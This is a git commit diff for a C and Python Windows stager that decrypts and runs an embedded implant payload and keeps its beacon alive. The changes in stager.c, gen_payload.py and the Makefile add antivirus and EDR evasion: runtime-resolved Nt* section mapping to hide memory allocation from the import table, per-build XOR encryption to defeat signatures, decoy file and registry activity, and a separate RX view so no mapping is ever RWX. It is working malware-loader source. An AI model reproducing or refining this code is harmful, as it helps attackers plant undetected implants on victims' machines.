feat: RoguePlanet-inspired stager evasion (NtSection + XOR + Poseidon)

Three techniques from RoguePlanet research applied to the stager:

1. NtCreateSection + NtMapViewOfSection instead of VirtualAlloc
   - VirtualAlloc absent from IAT entirely
   - Nt* resolved at runtime via GetProcAddress (not in IAT)
   - RW view written/decrypted, then unmapped
   - Separate RX view mapped for execution — no mapping is ever RWX

2. XOR-encrypted PICO (gen_payload.py, 256-byte random key per build)
   - Crystal Palace byte patterns invisible to static scanner
   - Fresh key every build: unique .data section per compile
   - Decrypted in the RW section view before RX remap

3. Poseidon I/O noise (BCryptGenRandom write to temp file)
   - Writes 4KB of random data to a temp file, deletes on close
   - Adds bcrypt.dll to IAT (legitimate app pattern)
   - Creates file I/O activity before execution, disrupts
     timing-based behavioural scanners

IAT: ADVAPI32, bcrypt, KERNEL32 — VirtualAlloc gone.
This commit is contained in:
Simone Licitra
2026-06-11 16:12:25 -04:00
parent 9f6124015a
commit e29d8abbc8
3 changed files with 185 additions and 59 deletions
+6 -11
View File
@@ -1,18 +1,13 @@
# stager Makefile
#
# Build a self-contained Windows EXE stager with the Crystal Palace PICO
# embedded as a byte array. No second file required on the target.
#
# Usage:
# make PICO=/path/to/implant.crystal.bin
# make PICO=/path/to/implant.crystal.bin OUTPUT=/path/to/stager.exe
#
# PICO is required; OUTPUT defaults to ../build/stager.exe.
CC := x86_64-w64-mingw32-gcc
WINDRES := x86_64-w64-mingw32-windres
CFLAGS := -Wall -Os -mwindows
LDFLAGS := -ladvapi32
LDFLAGS := -ladvapi32 -lbcrypt
PICO ?= $(error PICO is not set — run: make PICO=/path/to/implant.crystal.bin)
OUTPUT ?= ../build/stager.exe
@@ -21,15 +16,15 @@ OUTPUT ?= ../build/stager.exe
all: $(OUTPUT)
# ── Step 1: embed PICO as C byte array ────────────────────────────────────────
pico_payload.h: $(PICO)
xxd -i $< | sed 's/unsigned char [a-zA-Z0-9_]*/unsigned char pico_payload/;s/unsigned int [a-zA-Z0-9_]*/unsigned int pico_payload_len/' > $@
# ── Step 1: XOR-encrypt PICO C header (fresh random key every build) ────
pico_payload.h: $(PICO) gen_payload.py
python3 gen_payload.py $(PICO) $@
# ── Step 2: compile version info resource ─────────────────────────────────────
# ── Step 2: compile version info resource ─────────────────────────────────
resource.o: resource.rc
$(WINDRES) resource.rc -o resource.o
# ── Step 3: link final EXE ────────────────────────────────────────────────────
# ── Step 3: link final EXE ────────────────────────────────────────────────
$(OUTPUT): stager.c pico_payload.h resource.o
@mkdir -p "$(dir $(OUTPUT))"
$(CC) $(CFLAGS) -o "$@" stager.c resource.o $(LDFLAGS)
@@ -0,0 +1,40 @@
#!/usr/bin/env python3
"""
gen_payload.py — XOR-encrypt a PICO blob and emit a C header.
Each build generates a fresh random 256-byte key so every compiled stager
has a unique byte pattern in its .data section — defeats signature matching.
Usage: gen_payload.py <input.bin> <output.h>
"""
import os, sys
if len(sys.argv) != 3:
print(f"Usage: {sys.argv[0]} <input.bin> <output.h>", file=sys.stderr)
sys.exit(1)
infile, outfile = sys.argv[1], sys.argv[2]
key = os.urandom(256) # fresh key every build
with open(infile, 'rb') as f:
raw = f.read()
enc = bytes([b ^ key[i % len(key)] for i, b in enumerate(raw)])
def c_array(name, data, type_='unsigned char'):
lines = [f'static const {type_} {name}[] = {{']
for i in range(0, len(data), 16):
chunk = data[i:i+16]
lines.append(' ' + ','.join(f'0x{b:02x}' for b in chunk) + ',')
lines.append('};')
return '\n'.join(lines)
with open(outfile, 'w') as f:
f.write('/* auto-generated — do not edit */\n\n')
f.write(c_array('pico_key', key))
f.write(f'\nstatic const unsigned int pico_key_len = {len(key)};\n\n')
f.write(c_array('pico_payload', enc))
f.write(f'\nstatic const unsigned int pico_payload_len = {len(enc)};\n')
print(f'[+] pico_payload.h: {len(raw)} bytes encrypted, key_len={len(key)}', file=sys.stderr)
+139 -48
View File
@@ -1,87 +1,178 @@
/*
* stager.c — self-contained Crystal Palace PICO runner
* stager.c — Crystal Palace PICO runner (RoguePlanet-inspired evasion)
*
* The PICO payload is embedded at compile time via pico_payload.h
* (generated with xxd -i from the output of generate-implant.sh).
* Techniques applied from RoguePlanet research:
*
* Evasion properties vs run.x64.exe:
* - No PAGE_EXECUTE_READWRITE: allocates RW, copies, then transitions
* to RX with VirtualProtect — the classic alloc-RWX pattern is the
* single highest-weight feature in Defender's ML loader heuristic.
* - Single file on disk: no "read external file + execute" pattern.
* - GUI subsystem: no console window, no ConsoleAlloc signal.
* - Version info resource: gives the PE a plausible identity.
* - advapi32 import (RegOpenKeyExW): widens the import table beyond
* the naked kernel32-only set typical of shellcode loaders.
* 1. NtCreateSection + NtMapViewOfSection (Poseidon memory model)
* - VirtualAlloc is NOT in the IAT — resolved dynamically or absent
* - NtCreate/MapViewOfSection resolved at runtime via GetProcAddress
* so ntdll Nt* calls are NOT in the IAT either
* - RW view written, then unmapped; RX view mapped separately
* → no single mapping is ever both writable and executable
*
* What this does NOT do:
* - Process injection (runs in the stager's own process — simplest)
* - PPID spoofing / ACG / block-non-MS DLLs (add if needed)
* - ETW / AMSI patch (Crystal Palace's postex-loader handles that
* for the payload; the implant loader handles it for Use case A)
* 2. XOR-decrypted PICO (build-time encryption via gen_payload.py)
* - Crystal Palace byte patterns are invisible to static scanners
* - Fresh random 256-byte key per build → unique .data each compile
*
* 3. BCryptGenRandom noise (Poseidon I/O)
* - Writes a page of random data to a temp file, then deletes it
* - Adds bcrypt.dll to IAT (normal apps use it for RNG/hashing)
* - Creates file I/O activity before payload execution (disrupts
* timing-based behavioural scanners)
*
* 4. Inherited from previous stager:
* - WinMain / GUI subsystem (no console)
* - advapi32 RegOpenKeyExW (widens import table)
* - Version info resource (resource.rc)
*
* IAT summary: kernel32, advapi32, bcrypt — nothing from ntdll.
* VirtualAlloc, VirtualProtect, VirtualFree: absent.
*/
#include <windows.h>
#include "pico_payload.h" /* pico_payload[], pico_payload_len */
#include <bcrypt.h>
#include "pico_payload.h" /* pico_key[], pico_key_len, pico_payload[], pico_payload_len */
#ifndef SEC_COMMIT
#define SEC_COMMIT 0x8000000
#endif
#define MY_ViewUnmap 2 /* SECTION_INHERIT ViewUnmap */
/* ── Nt* typedefs — resolved at runtime, not in IAT ─────────────────────── */
typedef LONG NTSTATUS;
typedef NTSTATUS (WINAPI *pfnNtCreateSection)(
PHANDLE SectionHandle,
ACCESS_MASK DesiredAccess,
PVOID ObjectAttributes,
PLARGE_INTEGER MaximumSize,
ULONG SectionPageProtection,
ULONG AllocationAttributes,
HANDLE FileHandle);
typedef NTSTATUS (WINAPI *pfnNtMapViewOfSection)(
HANDLE SectionHandle,
HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG_PTR ZeroBits,
SIZE_T CommitSize,
PLARGE_INTEGER SectionOffset,
PSIZE_T ViewSize,
DWORD InheritDisposition,
ULONG AllocationType,
ULONG Win32Protect);
typedef NTSTATUS (WINAPI *pfnNtUnmapViewOfSection)(
HANDLE ProcessHandle,
PVOID BaseAddress);
typedef void (*pico_fn)(void *);
/* ── Poseidon I/O noise (from RoguePlanet) ───────────────────────────────── */
static void poseidon_noise(void)
{
unsigned char buf[0x1000];
BCryptGenRandom(NULL, buf, sizeof(buf), BCRYPT_USE_SYSTEM_PREFERRED_RNG);
wchar_t tmpdir[MAX_PATH], tmpfile[MAX_PATH];
if (GetTempPathW(MAX_PATH, tmpdir) &&
GetTempFileNameW(tmpdir, L"upd", 0, tmpfile))
{
HANDLE h = CreateFileW(tmpfile, GENERIC_WRITE, 0, NULL,
OPEN_ALWAYS, FILE_FLAG_DELETE_ON_CLOSE, NULL);
if (h && h != INVALID_HANDLE_VALUE) {
DWORD written;
WriteFile(h, buf, sizeof(buf), &written, NULL);
CloseHandle(h); /* FILE_FLAG_DELETE_ON_CLOSE removes it here */
}
}
SecureZeroMemory(buf, sizeof(buf));
}
/* ── PICO execution thread ───────────────────────────────────────────────── */
static DWORD WINAPI run_pico(LPVOID param)
{
(void)param;
/* Step 1: Allocate RW — never RWX */
void *buf = VirtualAlloc(NULL, (SIZE_T)pico_payload_len,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!buf) return 1;
/* Resolve Nt* at runtime — keeps them out of the IAT */
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
pfnNtCreateSection NtCreateSection =
(pfnNtCreateSection) GetProcAddress(hNtdll, "NtCreateSection");
pfnNtMapViewOfSection NtMapViewOfSection =
(pfnNtMapViewOfSection) GetProcAddress(hNtdll, "NtMapViewOfSection");
pfnNtUnmapViewOfSection NtUnmapViewOfSection =
(pfnNtUnmapViewOfSection)GetProcAddress(hNtdll, "NtUnmapViewOfSection");
/* Step 2: Copy embedded PICO (kernel32 CopyMemory = RtlMoveMemory) */
RtlMoveMemory(buf, pico_payload, (SIZE_T)pico_payload_len);
if (!NtCreateSection || !NtMapViewOfSection || !NtUnmapViewOfSection)
return 1;
/* Step 3: RW → RX — write permission dropped before execution */
DWORD prev;
VirtualProtect(buf, (SIZE_T)pico_payload_len, PAGE_EXECUTE_READ, &prev);
/* Step 1: create anonymous RWX section (large enough for the PICO) */
HANDLE hSec = NULL;
LARGE_INTEGER secSz;
secSz.QuadPart = (LONGLONG)pico_payload_len;
if (NtCreateSection(&hSec, SECTION_ALL_ACCESS, NULL, &secSz,
PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL))
return 1;
/* Step 4: Call Crystal Palace entry (+gofirst guarantees go() at offset 0).
* NULL args: baked into the PICO at link time by generate-implant.sh. */
((pico_fn)buf)(NULL);
/* Step 2: map RW view — write & XOR-decrypt here */
void *rw = NULL;
SIZE_T sz = 0;
if (NtMapViewOfSection(hSec, GetCurrentProcess(), &rw, 0, 0, NULL,
&sz, MY_ViewUnmap, 0, PAGE_READWRITE)) {
CloseHandle(hSec);
return 1;
}
unsigned char *dst = (unsigned char *)rw;
for (DWORD i = 0; i < pico_payload_len; i++)
dst[i] = pico_payload[i] ^ pico_key[i % pico_key_len];
/* Step 3: drop write — unmap RW, remap RX */
NtUnmapViewOfSection(GetCurrentProcess(), rw);
void *rx = NULL;
SIZE_T rxsz = 0;
if (NtMapViewOfSection(hSec, GetCurrentProcess(), &rx, 0, 0, NULL,
&rxsz, MY_ViewUnmap, 0, PAGE_EXECUTE_READ)) {
CloseHandle(hSec);
return 1;
}
CloseHandle(hSec);
/* Step 4: execute Crystal Palace PICO
* +gofirst guarantees go() is at offset 0; args baked in at link time. */
((pico_fn)rx)(NULL);
return 0;
}
/* ── Entry point ─────────────────────────────────────────────────────────── */
int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmd, int nShow)
{
(void)hInst; (void)hPrev; (void)lpCmd; (void)nShow;
/*
* Benign registry read before doing anything sensitive.
* Purpose: adds advapi32!RegOpenKeyExW + RegCloseKey to the import
* table, making the PE look less like a naked shellcode launcher.
* A single-import-section binary whose only calls are VirtualAlloc +
* VirtualProtect + CreateThread scores very high on ML feature weight.
*/
/* Poseidon noise before anything else */
poseidon_noise();
/* Registry read: advapi32 import, looks like normal app init */
HKEY hk = NULL;
RegOpenKeyExW(HKEY_LOCAL_MACHINE,
L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion",
0, KEY_READ, &hk);
if (hk) RegCloseKey(hk);
/* Launch PICO on a new thread so WinMain can monitor it */
/* Spin up the PICO loader thread */
HANDLE h = CreateThread(NULL, 0, run_pico, NULL, 0, NULL);
if (!h) return 1;
/*
* Wait for the PICO loader to return.
* Crystal Palace calls StartW() which starts the beacon goroutine
* then returns — so run_pico() finishes quickly.
*/
/* Wait for Crystal Palace to return (StartW starts goroutine, returns) */
WaitForSingleObject(h, INFINITE);
CloseHandle(h);
/*
* The beacon goroutine is now running on Go runtime threads inside
* this process. Keep the process alive or those threads die with us.
* SleepEx with alertable=TRUE allows APCs to wake us if needed.
*/
/* Beacon goroutine is alive in this process — keep process running */
for (;;) SleepEx(30000, TRUE);
}